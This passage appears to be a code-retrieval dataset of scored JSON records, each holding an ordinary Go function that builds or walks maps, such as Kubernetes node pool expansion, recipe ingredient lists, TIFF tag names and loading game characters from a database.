{\n\t\tocurrenceMap[path.Ports[0]]++\n\t\tocurrenceMap[path.Ports[1]]++\n\t}\n\n\tmax := 0\n\tfor _, count := range ocurrenceMap {\n\t\tif max < count {\n\t\t\tmax = count\n\t\t}\n\t}\n\n\tfinalList := make([]string, 0, len(network.Airports))\n\tfor code, count := range ocurrenceMap {\n\t\tif count == max {\n\t\t\tfinalList = append(finalList, code)\n\t\t}\n\t}\n\n\treturn finalList\n}", "title": "" }, { "docid": "ad04dd5e91001f9591a1f77b43a3c90e", "score": "0.41265532", "text": "func (c *JSONConnection) mapChannels(ctx *macaron.Context) {\n\tctx.Set(reflect.ChanOf(reflect.SendDir, c.Sender.Type().Elem()), c.Sender)\n\tctx.Set(reflect.ChanOf(reflect.RecvDir, c.Receiver.Type().Elem()), c.Receiver)\n}", "title": "" }, { "docid": "f7226fb97ddd9ecb6128bc84cbaac798", "score": "0.41187286", "text": "func (database *echodb) MapValues(mapName string) []string{\n\tvalues := []string{}\n\tfor value := range database.db[mapName].(map[string]string){\n\t\tvalues = append(values, value )\n\t}\n\treturn values\n}", "title": "" }, { "docid": "0616adff5528dadf875b9cbcaaa8e339", "score": "0.41164893", "text": "func (m *Cloze) FuncMap(card *model.Card, face int) template.FuncMap {\n\tvar templateID uint32\n\tif card != nil {\n\t\t// Need to do this check, because card may be nil during template parsing\n\t\ttemplateID = card.TemplateID()\n\t}\n\tfuncMap := map[string]interface{}{\n\t\t\"cloze\": cloze(templateID, face),\n\t}\n\tfor k, v := range defaultFuncMap {\n\t\tfuncMap[k] = v\n\t}\n\treturn funcMap\n}", "title": "" }, { "docid": "1bd1cd4d472f27c0550f627e7bf7db57", "score": "0.4116057", "text": "func expandNodePoolConditionsMap(c *Client, f map[string]NodePoolConditions) (map[string]interface{}, error) {\n\tif f == nil {\n\t\treturn nil, nil\n\t}\n\n\titems := make(map[string]interface{})\n\tfor k, item := range f {\n\t\ti, err := expandNodePoolConditions(c, &item)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif i != nil {\n\t\t\titems[k] = i\n\t\t}\n\t}\n\n\treturn items, nil\n}", "title": "" }, { "docid": "83d1e9b52e5e5711c2f4804872335ac6", "score": "0.41136867", "text": "func ContainersToMap(containers []corev1.Container) map[string]corev1.Container {\n\tresult := make(map[string]corev1.Container)\n\tif len(containers) > 0 {\n\t\tfor _, c := range containers {\n\t\t\tresult[c.Name] = c\n\t\t}\n\t}\n\treturn result\n}", "title": "" }, { "docid": "dec7ffb2e6471d04068caf45034b6954", "score": "0.41001797", "text": "func getNamespaceNamePortsMap(m *model.Model) map[string]map[string][]string {\n\tnamespaceNamePortMap := map[string]map[string][]string{}\n\tfor _, l := range m.HTTP {\n\t\tfor _, r := range l.Routes {\n\t\t\tfor _, be := range r.Backends {\n\t\t\t\tnamePortMap, exist := namespaceNamePortMap[be.Namespace]\n\t\t\t\tif exist {\n\t\t\t\t\tnamePortMap[be.Name] = sortAndUnique(append(namePortMap[be.Name], be.Port.GetPort()))\n\t\t\t\t} else {\n\t\t\t\t\tnamePortMap = map[string][]string{\n\t\t\t\t\t\tbe.Name: {be.Port.GetPort()},\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tnamespaceNamePortMap[be.Namespace] = namePortMap\n\t\t\t}\n\t\t}\n\t}\n\treturn namespaceNamePortMap\n}", "title": "" }, { "docid": "3236b1aedc1e5156cf98e90950b4bf0a", "score": "0.40899548", "text": "func MapProcess2Name(n RenderableNode) (RenderableNode, bool) {\n\tif n.Pseudo {\n\t\treturn n, true\n\t}\n\n\tname, ok := n.NodeMetadata[\"comm\"]\n\tif !ok {\n\t\treturn RenderableNode{}, false\n\t}\n\n\tnode := newDerivedNode(name, n)\n\tnode.LabelMajor = name\n\tnode.Rank = name\n\treturn node, true\n}", "title": "" }, { "docid": "1e0dc7559f89b3db2075ea986b479239", "score": "0.40782034", "text": "func (cpuAnnotation CPUAnnotation) ContainerPools(cName string) (pools []string) {\n\tvar poolMap = make(map[string]bool)\n\tfor _, container := range cpuAnnotation {\n\t\tif container.Name == cName {\n\t\t\tfor _, process := range container.Processes {\n\t\t\t\tif _, ok := poolMap[process.PoolName]; !ok {\n\t\t\t\t\tpools = append(pools, process.PoolName)\n\t\t\t\t\tpoolMap[process.PoolName] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn pools\n}", "title": "" }, { "docid": "9f9f3d006bf50eff542172c9a2f46fbc", "score": "0.40708756", "text": "func RecipeToIngredientsMap() map[string][]generated.Ingredient {\n\trecipeToIngredientsMap := make(map[string][]generated.Ingredient)\n\trecipeToIngredientsMap[\"Bread\"] = []generated.Ingredient{\n\t\t{Name: \"recipe:Bread\", Quantity: \"\"},\n\t\t{Name: \"Flour\", Quantity: \"10kg\"},\n\t\t{Name: \"Yeast\", Quantity: \"1 packet\"},\n\t}\n\trecipeToIngredientsMap[\"Nachos\"] = []generated.Ingredient{\n\t\t{Name: \"recipe:Nachos\", Quantity: \"\"},\n\t\t{Name: \"Tortilla chips\", Quantity: \"1 packett\"},\n\t\t{Name: \"Sour cream\", Quantity: \"1 packet\"},\n\t\t{Name: \"Cheese\", Quantity: \"200 gms\"},\n\t}\n\trecipeToIngredientsMap[\"Croissants\"] = []generated.Ingredient{\n\t\t{Name: \"recipe:Croissants\", Quantity: \"\"},\n\t\t{Name: \"500g strong white flour, plus extra for dusting\", Quantity: \"\"},\n\t\t{Name: \"1½ tsp salt\", Quantity: \"\"},\n\t\t{Name: \"50g sugar\", Quantity: \"\"},\n\t\t{Name: \"2 x 7g sachets fast-action dried yeast\", Quantity: \"\"},\n\t\t{Name: \"oil, for greasing\", Quantity: \"\"},\n\t\t{Name: \"300g butter, at room temperature\", Quantity: \"\"},\n\t\t{Name: \"1 egg, beaten\", Quantity: \"\"},\n\t}\n\trecipeToIngredientsMap[\"Chicken pasta bake\"] = []generated.Ingredient{\n\t\t{Name: \"recipe:Chicken pasta bake\", Quantity: \"\"},\n\t\t{Name: \"4 tbsp olive oil\", Quantity: \"\"},\n\t\t{Name: \"1 onion, finely chopped\", Quantity: \"\"},\n\t\t{Name: \"2 garlic cloves, crushed\", Quantity: \"\"},\n\t\t{Name: \"¼ tsp chilli flakes\", Quantity: \"\"},\n\t\t{Name: \"2 x 400g cans chopped tomatoes\", Quantity: \"\"},\n\t\t{Name: \"1 tsp caster sugar\", Quantity: \"\"},\n\t\t{Name: \"6 tbsp mascarpone\", Quantity: \"\"},\n\t\t{Name: \"4 skinless chicken breasts, sliced into strips\", Quantity: \"\"},\n\t\t{Name: \"300g penne\", Quantity: \"\"},\n\t\t{Name: \"70g mature cheddar, grated\", Quantity: \"\"},\n\t\t{Name: \"50g grated mozzarella\", Quantity: \"\"},\n\t\t{Name: \"½ small bunch of parsley, finely chopped\", Quantity: \"\"},\n\t}\n\trecipeToIngredientsMap[\"Roast salmon with preserved lemon\"] = []generated.Ingredient{\n\t\t{Name: \"recipe:Roast salmon with preserved lemon\", Quantity: \"\"},\n\t\t{Name: \"40g preserved lemon, flesh and pith removed\", Quantity: \"\"},\n\t\t{Name: \"100ml gin\", Quantity: \"\"},\n\t\t{Name: \"1kg side organic farmed or wild salmon (tail end)\", Quantity: \"\"},\n\t\t{Name: \"50g sea salt\", Quantity: \"\"},\n\t\t{Name: \"50g golden caster sugar\", Quantity: \"\"},\n\t\t{Name: \"1 tsp thyme leaves\", Quantity: \"\"},\n\t\t{Name: \"1 tsp chilli flakes\", Quantity: \"\"},\n\t\t{Name: \"½ small bunch dill, washed\", Quantity: \"\"},\n\t\t{Name: \"30g preserved lemons, seeds removed\", Quantity: \"\"},\n\t\t{Name: \"4 tbsp olive oil\", Quantity: \"\"},\n\t}\n\n\treturn recipeToIngredientsMap\n}", "title": "" }, { "docid": "8b88bd9b5861663a774e54434e3927e3", "score": "0.40592745", "text": "func makeCompexity(d []float64, m int) []float64 {\n\tav := make([]float64, len(d)-m+1)\n\tvar ce, minAV, maxAV float64\n\tminAV = math.Inf(1)\n\tmaxAV = math.Inf(-1)\n\tfor i := 0; i < len(d)-m+1; i++ {\n\t\tce = 0.0\n\t\tfor j := 1; j < m; j++ {\n\t\t\tce += (d[i+j] - d[i+j-1]) * (d[i+j] - d[i+j-1])\n\t\t}\n\t\tav[i] = math.Sqrt(ce)\n\t\tif av[i] < minAV {\n\t\t\tminAV = av[i]\n\t\t}\n\t\tif av[i] > maxAV {\n\t\t\tmaxAV = av[i]\n\t\t}\n\t}\n\tfor i := 0; i < len(d)-m+1; i++ {\n\t\tif maxAV == 0 {\n\t\t\tav[i] = 0\n\t\t} else {\n\t\t\tav[i] = (av[i] - minAV) / maxAV\n\t\t}\n\t}\n\n\treturn av\n}", "title": "" }, { "docid": "de4e069319a8559f7f9b743496f5dd90", "score": "0.4058642", "text": "func CasListMap() map[string]func(*client.K8sClient, []string) ([]metav1.TableColumnDefinition, []metav1.TableRow, error) {\n\t// a good hack to implement immutable maps in Golang & also write tests for it\n\treturn map[string]func(*client.K8sClient, []string) ([]metav1.TableColumnDefinition, []metav1.TableRow, error){\n\t\tutil.CstorCasType: GetCstorPools,\n\t\tutil.LVMCasType: GetVolumeGroups,\n\t\tutil.ZFSCasType: GetZFSPools,\n\t}\n}", "title": "" }, { "docid": "9818dccf50e5b90c988f879722b6c43d", "score": "0.40543294", "text": "func main() {\n\n\tvar myMap = make(map[string][]string)\n\n\tmyMap[\"bond_james\"] = []string{`Shaken, not stirred`, `Martinis`, `Women`}\n\tmyMap[\"no_dr\"] = []string{`Being evil`, `Ice cream`, `Sunsets`}\n\tmyMap[\"moneypenny_miss\"] = []string{`James Bond`, `Literature`, `Computer Science`}\n\n\tmyMap[\"new_bond\"] = []string{`cars`, `watches`, `villans`}\n\n\tfor name, mapArray := range myMap {\n\t\tfmt.Printf(\"Name: %v\\n\", name)\n\t\tfor i, v := range mapArray {\n\t\t\tfmt.Printf(\"index: %v, %v\\n\", i, v)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "dd4b6aad04bce64619a6ac4c0808f19a", "score": "0.40450096", "text": "func MapContainers(podSpec *corev1.PodSpec) map[string]corev1.Container {\n\tm := map[string]corev1.Container{}\n\tfor _, c := range podSpec.Containers {\n\t\tm[c.Name] = c\n\t}\n\treturn m\n}", "title": "" }, { "docid": "16f515f2b3cbc0e9d7af8d146bf98124", "score": "0.40419886", "text": "func TagNameMap(space tiff.TagSpace) map[tiff.Tag]string {\n\tvar names map[tiff.Tag]string\n\tswitch space {\n\tcase tiff.TIFFSpace:\n\t\tnames = tiff.TagNames\n\tcase tiff.ExifSpace:\n\t\tnames = ExifTagNames\n\tcase tiff.InteropSpace:\n\t\tnames = InteropTagNames\n\tcase tiff.GPSSpace:\n\t\tnames = GPSTagNames\n\tcase tiff.Canon1Space:\n\t\tnames = Canon1TagNames\n\tcase tiff.Fujifilm1Space:\n\t\tnames = Fujifilm1TagNames\n\tcase tiff.Olympus1Space:\n\t\tnames = Olympus1TagNames\n\tcase tiff.Olympus1EquipmentSpace:\n\t\tnames = Olympus1EquipmentTagNames\n\tcase tiff.Olympus1CameraSettingsSpace:\n\t\tnames = Olympus1CameraSettingsTagNames\n\tcase tiff.Olympus1RawDevelopmentSpace:\n\t\tnames = Olympus1RawDevelopmentTagNames\n\tcase tiff.Olympus1RawDev2Space:\n\t\tnames = Olympus1RawDev2TagNames\n\tcase tiff.Olympus1ImageProcessingSpace:\n\t\tnames = Olympus1ImageProcessingTagNames\n\tcase tiff.Olympus1FocusInfoSpace:\n\t\tnames = Olympus1FocusInfoTagNames\n\tcase tiff.Panasonic1Space:\n\t\tnames = Panasonic1TagNames\n\tcase tiff.Nikon1Space:\n\t\tnames = Nikon1TagNames\n\tcase tiff.Nikon2Space:\n\t\tnames = Nikon2TagNames\n\tcase tiff.Nikon2PreviewSpace:\n\t\tnames = Nikon2PreviewIFDTagNames\n\tcase tiff.Nikon2ScanSpace:\n\t\tnames = Nikon2ScanIFDTagNames\n\tcase tiff.Sony1Space:\n\t\tnames = Sony1TagNames\n\t}\n\treturn names\n}", "title": "" }, { "docid": "036a8ed222ad60fdf9b32d3902b9537d", "score": "0.40416312", "text": "func GetCPUs(ctx context.Context, addr string) CPUs {\n\tinfos, err := cpu.InfoWithContext(ctx)\n\tif err != nil {\n\t\treturn CPUs{\n\t\t\tAddr: addr,\n\t\t\tError: err.Error(),\n\t\t}\n\t}\n\n\tcpuMap := map[string]CPU{}\n\tfor _, info := range infos {\n\t\tcpu, found := cpuMap[info.PhysicalID]\n\t\tif found {\n\t\t\tcpu.Cores += 1\n\t\t} else {\n\t\t\tcpu = CPU{\n\t\t\t\tVendorID: info.VendorID,\n\t\t\t\tFamily: info.Family,\n\t\t\t\tModel: info.Model,\n\t\t\t\tStepping: info.Stepping,\n\t\t\t\tPhysicalID: info.PhysicalID,\n\t\t\t\tModelName: info.ModelName,\n\t\t\t\tMhz: info.Mhz,\n\t\t\t\tCacheSize: info.CacheSize,\n\t\t\t\tFlags: info.Flags,\n\t\t\t\tMicrocode: info.Microcode,\n\t\t\t\tCores: 1,\n\t\t\t}\n\t\t}\n\t\tcpuMap[info.PhysicalID] = cpu\n\t}\n\n\tcpus := []CPU{}\n\tfor _, cpu := range cpuMap {\n\t\tcpus = append(cpus, cpu)\n\t}\n\n\treturn CPUs{\n\t\tAddr: addr,\n\t\tCPUs: cpus,\n\t}\n}", "title": "" }, { "docid": "9e4e08195180150d4c723a107365ba93", "score": "0.40388852", "text": "func (o *Instrument) CompanyCurrencyEquitiesG(mods ...qm.QueryMod) equityQuery {\n\treturn o.CompanyCurrencyEquities(boil.GetDB(), mods...)\n}", "title": "" }, { "docid": "ebdfe705ae421a1bcbaf5f0daa1bae05", "score": "0.40356266", "text": "func CasDescribeMap() map[string]func(*client.K8sClient, string) error {\n\t// a good hack to implement immutable maps in Golang & also write tests for it\n\treturn map[string]func(*client.K8sClient, string) error{\n\t\tutil.CstorCasType: DescribeCstorPool,\n\t\tutil.ZFSCasType: DescribeZFSNode,\n\t\tutil.LVMCasType: DescribeLVMvg,\n\t}\n}", "title": "" }, { "docid": "1988e3d5392f12ae80fbfe0b7e4d8bfb", "score": "0.402869", "text": "func expandNodePoolManagementMap(c *Client, f map[string]NodePoolManagement) (map[string]interface{}, error) {\n\tif f == nil {\n\t\treturn nil, nil\n\t}\n\n\titems := make(map[string]interface{})\n\tfor k, item := range f {\n\t\ti, err := expandNodePoolManagement(c, &item)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif i != nil {\n\t\t\titems[k] = i\n\t\t}\n\t}\n\n\treturn items, nil\n}", "title": "" }, { "docid": "4210856efad0d2bb732f049b131753c7", "score": "0.402515", "text": "func MappedModules(\n\ttfPackagePrefix, defaultModule string, modules map[string]string, finalize Make,\n) b.Strategy {\n\n\tmods := make([]string, 0, len(modules))\n\tfor k := range modules {\n\t\tmods = append(mods, k)\n\t}\n\tsort.Sort(sort.Reverse(sort.StringSlice(mods)))\n\n\ttransform := func(tf string) string {\n\t\ts, ok := modules[tf]\n\t\tif !ok && tf == defaultModule {\n\t\t\t// We pass through the default module as is, so it might not be in\n\t\t\t// `modules`. We need to catch that and return as is.\n\t\t\treturn tf\n\t\t}\n\t\tassert := \"Because any mod selected must be from mods, it is guaranteed to be in modules, got %#v\"\n\t\tcontract.Assertf(ok, assert, tf)\n\t\treturn s\n\t}\n\n\treturn b.Strategy{\n\t\tResource: knownModules(tfPackagePrefix, defaultModule, mods,\n\t\t\tknownResource(finalize), transform),\n\t\tDataSource: knownModules(tfPackagePrefix, defaultModule, mods,\n\t\t\tknownDataSource(finalize), transform),\n\t}\n}", "title": "" }, { "docid": "2e1b572d2918d7fb3e235e9d4f55c611", "score": "0.40226296", "text": "func Concurrent(text []string) map[rune]int {\n\treturn nil\n}", "title": "" }, { "docid": "652e6bb7a58f56760e2d83bd43182195", "score": "0.40211916", "text": "func LoadCLsMap(ctx context.Context, m map[common.CLID]*CL) ([]*CL, error) {\n\tcls := make([]*CL, 0, len(m))\n\tfor _, cl := range m {\n\t\tcls = append(cls, cl)\n\t}\n\treturn loadCLs(ctx, cls)\n}", "title": "" }, { "docid": "c5637e521a893fb7b7941f7b78ed2cf9", "score": "0.40151742", "text": "func Available() []string {\n\tret := make([]string, 0, len(constructorMap))\n\tfor name := range constructorMap {\n\t\tret = append(ret, name)\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "144dd0fc073ba063565ce3b36ade5b7a", "score": "0.40146753", "text": "func expandWorkloadIdentityPoolProviderOidcMap(c *Client, f map[string]WorkloadIdentityPoolProviderOidc, res *WorkloadIdentityPoolProvider) (map[string]interface{}, error) {\n\tif f == nil {\n\t\treturn nil, nil\n\t}\n\n\titems := make(map[string]interface{})\n\tfor k, item := range f {\n\t\ti, err := expandWorkloadIdentityPoolProviderOidc(c, &item, res)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif i != nil {\n\t\t\titems[k] = i\n\t\t}\n\t}\n\n\treturn items, nil\n}", "title": "" }, { "docid": "b888e4fe59115c29c2fd5f7d233a8a55", "score": "0.40093198", "text": "func GenCompatibilities() *map[string][]int {\n\tmbti := make(map[string][]int)\n\n\tmbti[\"ENTJ\"] = []int{0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0}\n\tmbti[\"ENTP\"] = []int{0, 0, 2, 1, 0, 0, 0, 0, 0, 0, 3, 1, 0, 0, 0, 0}\n\tmbti[\"ENFJ\"] = []int{2, 2, 2, 1, 0, 0, 1, 2, 1, 1, 1, 1, 0, 0, 1, 3}\n\tmbti[\"ENFP\"] = []int{2, 1, 1, 2, 0, 0, 2, 2, 2, 1, 1, 1, 0, 0, 1, 1}\n\tmbti[\"ESTJ\"] = []int{0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 1, 1}\n\tmbti[\"ESTP\"] = []int{0, 0, 0, 0, 0, 0, 2, 1, 0, 0, 0, 0, 0, 0, 3, 1}\n\tmbti[\"ESFJ\"] = []int{0, 0, 1, 2, 2, 2, 2, 1, 0, 0, 1, 3, 1, 1, 1, 1}\n\tmbti[\"ESFP\"] = []int{0, 0, 2, 2, 2, 1, 1, 2, 0, 0, 1, 1, 3, 1, 1, 1}\n\tmbti[\"INTJ\"] = []int{0, 0, 1, 2, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0, 0, 0}\n\tmbti[\"INTP\"] = []int{0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0}\n\tmbti[\"INFJ\"] = []int{1, 3, 1, 1, 0, 0, 1, 1, 1, 2, 2, 1, 0, 0, 2, 2}\n\tmbti[\"INFP\"] = []int{1, 1, 1, 1, 0, 0, 3, 1, 2, 2, 1, 2, 0, 0, 2, 1}\n\tmbti[\"ISTJ\"] = []int{0, 0, 0, 0, 0, 0, 1, 3, 0, 0, 0, 0, 0, 0, 1, 2}\n\tmbti[\"ISTP\"] = []int{0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 2, 2}\n\tmbti[\"ISFJ\"] = []int{0, 0, 1, 1, 1, 3, 1, 1, 0, 0, 2, 2, 1, 2, 2, 1}\n\tmbti[\"ISFP\"] = []int{0, 0, 3, 1, 1, 1, 1, 1, 0, 0, 2, 1, 2, 2, 1, 2}\n\n\treturn &mbti\n}", "title": "" }, { "docid": "54be3c251ad1faf0137817d1510986b9", "score": "0.40076596", "text": "func (nb *VMEntityBuilder) vmCommSold(agentEntity *AgentEntity) ([]*proto.CommodityDTO, error) {\n\tif agentEntity == nil || agentEntity.node == nil {\n\t\treturn nil, fmt.Errorf(\"[VMEntityBuilder] Null agent while creating commodities\")\n\t}\n\tagentInfo := agentEntity.node\n\tif agentEntity.GetResourceMetrics() == nil {\n\t\treturn nil, fmt.Errorf(\"[VMEntityBuilder] Null node metrics for agent %s\", agentInfo.Id)\n\t}\n\tvar commoditiesSold []*proto.CommodityDTO\n\t// MemProv\n\tmemProvCap := getEntityMetricValue(agentEntity, data.MEM_PROV, data.CAP, nb.errorCollector)\n\tmemProvUsed := getEntityMetricValue(agentEntity, data.MEM_PROV, data.USED, nb.errorCollector)\n\n\tmemProvComm, err := builder.NewCommodityDTOBuilder(proto.CommodityDTO_MEM_PROVISIONED).\n\t\tCapacity(*memProvCap).\n\t\tUsed(*memProvUsed).\n\t\tCreate()\n\tnb.errorCollector.Collect(err)\n\tcommoditiesSold = append(commoditiesSold, memProvComm)\n\n\t// CpuProv\n\tcpuProvCap := getEntityMetricValue(agentEntity, data.CPU_PROV, data.CAP, nb.errorCollector)\n\tcpuProvUsed := getEntityMetricValue(agentEntity, data.CPU_PROV, data.USED, nb.errorCollector)\n\n\tcpuProvComm, err := builder.NewCommodityDTOBuilder(proto.CommodityDTO_CPU_PROVISIONED).\n\t\tCapacity(*cpuProvCap).\n\t\tUsed(*cpuProvUsed).\n\t\tCreate()\n\tnb.errorCollector.Collect(err)\n\tcommoditiesSold = append(commoditiesSold, cpuProvComm)\n\n\t// VMem\n\tmemCap := getEntityMetricValue(agentEntity, data.MEM, data.CAP, nb.errorCollector)\n\tmemUsed := getEntityMetricValue(agentEntity, data.MEM, data.USED, nb.errorCollector)\n\tvMemComm, err := builder.NewCommodityDTOBuilder(proto.CommodityDTO_VMEM).\n\t\tCapacity(*memCap).\n\t\tUsed(*memUsed).\n\t\tCreate()\n\tnb.errorCollector.Collect(err)\n\tcommoditiesSold = append(commoditiesSold, vMemComm)\n\n\t// VCpu\n\tcpuCap := getEntityMetricValue(agentEntity, data.CPU, data.CAP, nb.errorCollector)\n\tcpuUsed := getEntityMetricValue(agentEntity, data.CPU, data.USED, nb.errorCollector)\n\tvCpuComm, err := builder.NewCommodityDTOBuilder(proto.CommodityDTO_VCPU).\n\t\tCapacity(*cpuCap).\n\t\tUsed(*cpuUsed).\n\t\tCreate()\n\tnb.errorCollector.Collect(err)\n\tcommoditiesSold = append(commoditiesSold, vCpuComm)\n\n\t// Access Commodities\n\t// ClusterComm\n\tclusterComm, err := builder.NewCommodityDTOBuilder(proto.CommodityDTO_CLUSTER).\n\t\tKey(nb.agent.ClusterName).\n\t\tCreate()\n\tnb.errorCollector.Collect(err)\n\tcommoditiesSold = append(commoditiesSold, clusterComm)\n\n\t// TODO add port commodity sold\n\n\treturn commoditiesSold, nil\n}", "title": "" }, { "docid": "47d09c627f0b17788bd87993cb9d46d7", "score": "0.40063542", "text": "func (cmap *CMap) Name() string {\n\treturn cmap.name\n}", "title": "" }, { "docid": "03045e173268287c0643784e9f1fee84", "score": "0.40031788", "text": "func fixMap(objs map[string]*object) {\n\n\tfor _, obj := range objs {\n\n\t\tswitch obj.mod {\n\n\t\tcase \"commit\":\n\t\t\tobj.name = \"[commit]\"\n\t\t\tobj.children = append(obj.children, objs[obj.regCts[0][1]])\n\t\t\tobjs[obj.regCts[0][1]].name = \"[root]\"\n\t\tcase \"tree\":\n\t\t\tfor _, al := range obj.regCts {\n\t\t\t\tobj.children = append(obj.children, objs[al[2]])\n\t\t\t\tobjs[al[2]].name = fmt.Sprintf(\"[%s] %s\", objs[al[2]].mod, al[3])\n\t\t\t}\n\t\tcase \"tag\":\n\t\t\tobj.name = \"[Tag] \" + obj.regCts[0][2]\n\t\t\tobj.children = append(obj.children, objs[obj.regCts[0][1]])\n\n\t\t}\n\n\t}\n\n}", "title": "" }, { "docid": "e9b862914f7b98b93cd99646b123e938", "score": "0.4003156", "text": "func FetchAllCompDesc(year int) []Competition {\r\n log.Println(\"building competition descriptions...\")\r\n\td, _ := fetchAllCompsPage(year, true)\r\n\tcMap := parseWebComps(string(d))\r\n\tvar cSlice []Competition\r\n\tfor _, v := range cMap {\r\n\t\tcSlice = append(cSlice, v)\r\n\t}\r\n\treturn cSlice // can't win as want map some places and slices in others\r\n}", "title": "" }, { "docid": "c73cab287a52474de54e3d7566b0be32", "score": "0.4001383", "text": "func resolveNames(ctx context.Context, charID int32) (*db.Affiliation, error) {\n\n\taff := &db.Affiliation{}\n\n\tret, err := ResolveName(ctx, charID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, res := range ret {\n\n\t\tif res.Category == \"corporation\" {\n\t\t\taff.Corporation = &db.Name{ID: res.Id, Name: res.Name}\n\n\t\t\tallianceID, allianceName := ResolveCorporation(ctx, res.Id)\n\t\t\tif allianceID > 0 {\n\t\t\t\taff.Alliance = &db.Name{ID: allianceID, Name: allianceName}\n\t\t\t}\n\n\t\t} else if res.Category == \"character\" {\n\t\t\taff.Character = &db.Name{ID: res.Id, Name: res.Name}\n\n\t\t\tcorpID, corpName := ResolveCharacter(ctx, res.Id)\n\t\t\tif corpID > 0 { // 0 == error in lookup\n\t\t\t\taff.Corporation = &db.Name{ID: corpID, Name: corpName}\n\t\t\t\tallianceID, allianceName := ResolveCorporation(ctx, corpID)\n\t\t\t\tif allianceID > 0 { // 0 == error or not in alliance\n\t\t\t\t\taff.Alliance = &db.Name{ID: allianceID, Name: allianceName}\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\t// hopefully this doesn't happen\n\t\t\tlog.Printf(\n\t\t\t\t\"character received donation from %d who is a %s\",\n\t\t\t\tcharID,\n\t\t\t\tres.Category,\n\t\t\t)\n\t\t}\n\t}\n\n\treturn aff, nil\n}", "title": "" }, { "docid": "75e6ebfcb1f00aae34b994a114c9a66b", "score": "0.40005636", "text": "func MapStrInfo(f func(string) Info, list []string) []Info {\n\tif f == nil {\n\t\treturn []Info{}\n\t}\n\tnewList := make([]Info, len(list))\n\tfor i, v := range list {\n\t\tnewList[i] = f(v)\n\t}\n\treturn newList\n}", "title": "" }, { "docid": "128b9f2a6aa6fbf0fbb08b5c8c524fb2", "score": "0.39984244", "text": "func (p planetMap) getRandomCity() string {\n\tfor name := range p {\n\t\treturn name\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "d038ce70cef47255d3714641b8b81b96", "score": "0.39957693", "text": "func (m Map) ClusterNamesByVersion(matchingVersion string) []string {\n\t// var ret []string\n\t// for name, cluster := range m.nameMap {\n\t// \tcluster.\n\t// \tif matchingVersion == cluster.CurrentNodeVersion {\n\t// \t\tret = append(ret, name)\n\t// \t}\n\t// }\n\t// return ret\n\treturn nil\n}", "title": "" }, { "docid": "f129eedb9ebde762bded6a13e8ebebd4", "score": "0.39918932", "text": "func MakeMockProductMap() exchange.ProductMap {\n\tproductMap := make(exchange.ProductMap)\n\texchanges := []string{exchange.COINBASE, exchange.KRAKEN, exchange.BINANCE, exchange.BITFINEX}\n\tfor _, ex := range exchanges {\n\t\tif _, ok := productMap[ex]; !ok {\n\t\t\tproductMap[ex] = make(exchange.ExProductMap)\n\t\t}\n\t\tswitch ex {\n\t\tcase exchange.KRAKEN:\n\t\t\tproductMap[exchange.KRAKEN][\"MOCK/USD\"] = exchange.Product{\n\t\t\t\tExchange: exchange.KRAKEN,\n\t\t\t\tHePair: \"MOCK-USD\",\n\t\t\t}\n\t\tcase exchange.COINBASE:\n\t\t\tproductMap[exchange.COINBASE][\"MOCK-USD\"] = exchange.Product{\n\t\t\t\tExchange: exchange.COINBASE,\n\t\t\t\tHePair: \"MOCK-USD\",\n\t\t\t}\n\t\tcase exchange.BINANCE:\n\t\t\tproductMap[exchange.BINANCE][\"MOCKUSD\"] = exchange.Product{\n\t\t\t\tExchange: exchange.BINANCE,\n\t\t\t\tHePair: \"MOCK-USD\",\n\t\t\t\tExPair: \"MOCKUSD\",\n\t\t\t}\n\t\tcase exchange.BITFINEX:\n\t\t\tproductMap[exchange.BITFINEX][\"MOCKUSD\"] = exchange.Product{\n\t\t\t\tExchange: exchange.BITFINEX,\n\t\t\t\tHePair: \"MOCK-USD\",\n\t\t\t\tExPair: \"MOCKUSD\",\n\t\t\t}\n\t\t}\n\t}\n\treturn productMap\n}", "title": "" }, { "docid": "30727908a8eb8a0035f8db466ba170b1", "score": "0.39849442", "text": "func GetCharactersFromAccountWorldID(accountID int32, worldID byte) []Data {\n\tc := []Data{}\n\n\tfilter := \"id,accountID,worldID,name,gender,skin,hair,face,level,job,str,dex,intt,\" +\n\t\t\"luk,hp,maxHP,mp,maxMP,ap,sp, exp,fame,mapID,mapPos,previousMapID,mesos,\" +\n\t\t\"equipSlotSize,useSlotSize,setupSlotSize,etcSlotSize,cashSlotSize\"\n\n\tchars, err := db.DB.Query(\"SELECT \"+filter+\" FROM characters WHERE accountID=? AND worldID=?\", accountID, worldID)\n\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\tdefer chars.Close()\n\n\tfor chars.Next() {\n\t\tvar char Data\n\n\t\terr = chars.Scan(&char.id, &char.accountID, &char.worldID, &char.name, &char.gender, &char.skin, &char.hair,\n\t\t\t&char.face, &char.level, &char.job, &char.str, &char.dex, &char.intt, &char.luk, &char.hp, &char.maxHP,\n\t\t\t&char.mp, &char.maxMP, &char.ap, &char.sp, &char.exp, &char.fame, &char.mapID, &char.mapPos,\n\t\t\t&char.previousMap, &char.mesos, &char.equipSlotSize, &char.useSlotSize, &char.setupSlotSize,\n\t\t\t&char.etcSlotSize, &char.cashSlotSize)\n\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\n\t\tchar.equip, char.use, char.setUp, char.etc, char.cash = item.LoadInventoryFromDb(char.id)\n\n\t\tc = append(c, char)\n\t}\n\n\treturn c\n}", "title": "" }, { "docid": "20c3c0331e2037fa86dde0c71e7fc122", "score": "0.3980165", "text": "func (w *World) assign(entity Entity, relation int8, target Entity, comps ...Component) {\n\tlen := len(comps)\n\tif len == 0 {\n\t\tpanic(\"no components given to assign\")\n\t}\n\tif len == 1 